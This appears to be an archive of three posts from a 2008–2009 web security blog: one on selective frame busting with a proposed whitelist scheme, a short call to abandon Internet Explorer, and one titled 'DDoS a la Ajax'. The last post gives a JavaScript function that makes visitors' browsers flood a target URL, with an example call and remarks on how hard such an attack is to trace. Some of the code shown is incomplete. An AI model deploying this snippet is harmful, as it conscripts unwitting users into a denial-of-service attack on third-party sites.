Archive for the ‘Security’ Category

Raising the bar - whitelisted frame busting

Monday, March 2nd, 2009

There’s an interesting new trend emerging among web companies - putting a contextualized bar on top of external pages.

StumbleUpon has been doing this for a long time, but the broader trend seems to be new. Facebook started doing it not too long ago, and Digg’s version is currently in beta testing.

The common denominator of the “bar companies” is a wealth of links passing through their servers. They rewrite links passed through their network to point to a page on their own domain, on which they have a bar on top and an iframe below that includes the original, external site.

Being iframed can be annoying, and is easy to avoid. The following javascript snippet “frame busts” your site such that no one can iframe you:

if (location != top.location) { top.location = location }

However, some of these top bars may very well add value to your site. For example, your site becomes more viral - a visitor with the bar on top is probably more likely to share that page with a friend than someone without the bar. Can you allow for some sites to iframe you, but not others? It would look something like:

function frameBustSelectively() {
  // if we're not being framed, just return
  if (top.location == location) { return; }

  // if we're framed by an ok site, just return
  var okDomains = {
    '': true,
    '': true,
    '': true
  if (top.location.hostname.toString() in okDomains) { return; }

  // we're framed by a not-ok site - frame bust...
  top.location = location;

This is unfortunately not possible. The browser same-origin security model allows you to compare the locations of your current frame and the “top” frame. However, you are not allowed not “inspect” the location of the top frame if it is not on your domain. top.location.hostname.toString() will throw an exception…

So do we give up and call it a day? No - we solve it as a community.

This morning I registered (in the spirit of When it comes up in a day or two there will be a javascript include that you can include on your site that will allow for us as a community to go towards whitelisted iframing. How? Well, it requires some cooperation - but it works:

If you want to iframe a page, you pass in an extra oFrameBust=[your domain] parameter in the GET query of the url. The iframed page will have to include the oFrameBust javascript - if it does, the script will parse the oFrameBust domain out of the GET query, and match it against a white list of allowed domains. If there is a match, the script creates an offscreen iframe pointing to [domain]/oFrameBust.html?url=[document.location.href].

That’s the magic moment. Since you allowed to communicate information through the url to other domains, we now have a page that both knows the current page’s url, and is allowed to inspect the location of the top frame. At this point the oFrameBust.html page can verify that the top frame is indeed the whitelisted domain that was passed in through the oFrameBust get parameter by attempting to read the top.location in a try { } catch(e) { } statement. If it is, everything is well! If not - well, then you just parse out the url of the page that was passed in to [domain]/oFrameBust.html, which used that to say top.location=[url];

I’ve got a prototype of this that will be up on in two days. Keep an eye out! This is totally intended to be an open source, transparent project, so if you’re interested let me know and I’ll keep you in the loop. After all, this could only succeed as a community.

Get off Internet Explorer, now!

Friday, December 26th, 2008

You probably didn’t miss it, but…

Internet Explorer is now the biggest security hole in the history of computing. All versions of IE.

Since you’re reading this blog, you’re probably on FF, Safari, Opera or Chrome - however, we’ve got a responsibility to make the most of this situation and convince as many people we can to get off IE once and for all. Rid the web of the plague that IE is.

Spread the now!

DDoS a la Ajax

Monday, December 1st, 2008

Q: What’s the difference between a botnet and a popular web service?

A: The web service can only attack port 80.

Imagine a web site with a million simultaneous users. Then imagine putting the following snippet on each of their page views:

function ddosAttack(url, timeLeft, times) {
  times = times || 1;
  window.setTimeout(function() {
    while (times--) {
      var script = document.createElement('script');
      script.src = url + (url.match(/\?/) ? '&' : '?') + Math.ceil(Math.random() * 10000);
  }, timeLeft);

Voila - point the url towards a web page with reasonably heavy html content, and your 1 million users should be able to bring it down reasonably easily. Turn it on, launch attack, turn it off.

Without the help of a tech-savy user with http analyzer or firebug watching traffic closely, the victim will not be able to trace the attack to your website.

It is also virtually impossible to distinguish the attack traffic from legitimate traffic.

While the issue of botnet attacks is not a new one, the threshold of participation is significantly lower for a website than with malware. Simply clicking that link is enough.

Add widgets to the mix, and it gets even uglier.

What would an attack look like? Maybe something like:

ddosAttack('', 1000, 10);